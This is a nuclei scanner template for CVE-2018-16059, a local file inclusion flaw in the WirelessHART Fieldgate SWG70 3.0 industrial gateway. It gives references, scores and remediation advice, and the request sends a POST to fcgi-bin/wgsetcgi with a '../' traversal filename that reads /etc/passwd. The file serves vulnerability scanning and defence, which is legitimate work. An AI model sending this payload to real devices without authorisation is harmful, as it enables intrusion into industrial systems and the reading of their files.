nuclei-templates/http/cves/2018/CVE-2018-16059.yaml

49 lines
1.7 KiB
YAML

id: CVE-2018-16059
info:
name: WirelessHART Fieldgate SWG70 3.0 - Local File Inclusion
author: daffainfo
severity: medium
description: WirelessHART Fieldgate SWG70 3.0 is vulnerable to local file inclusion via the fcgi-bin/wgsetcgi filename parameter.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in WirelessHART Fieldgate SWG70 3.0.
reference:
- https://www.exploit-db.com/exploits/45342
- https://ics-cert.us-cert.gov/advisories/ICSA-19-073-03
- https://nvd.nist.gov/vuln/detail/CVE-2018-16059
- https://www.exploit-db.com/exploits/45342/
- https://cert.vde.com/en-us/advisories/vde-2019-002
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2018-16059
cwe-id: CWE-22
epss-score: 0.3698
epss-percentile: 0.96722
cpe: cpe:2.3:o:endress:wirelesshart_fieldgate_swg70_firmware:3.00.07:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: endress
product: wirelesshart_fieldgate_swg70_firmware
tags: cve,cve2018,iot,lfi,edb
http:
- method: POST
path:
- "{{BaseURL}}/fcgi-bin/wgsetcgi"
body: 'action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100a9771c39c4d8b111e8d5a0598f604dbf79d8c75860ee35e786ec94e1e507d1ec02210098c22d40fdc715490706b971fd32abe6445c1204761479f53286bd8ef5cd12c5:922c64590222798bb761d5b6d8e72950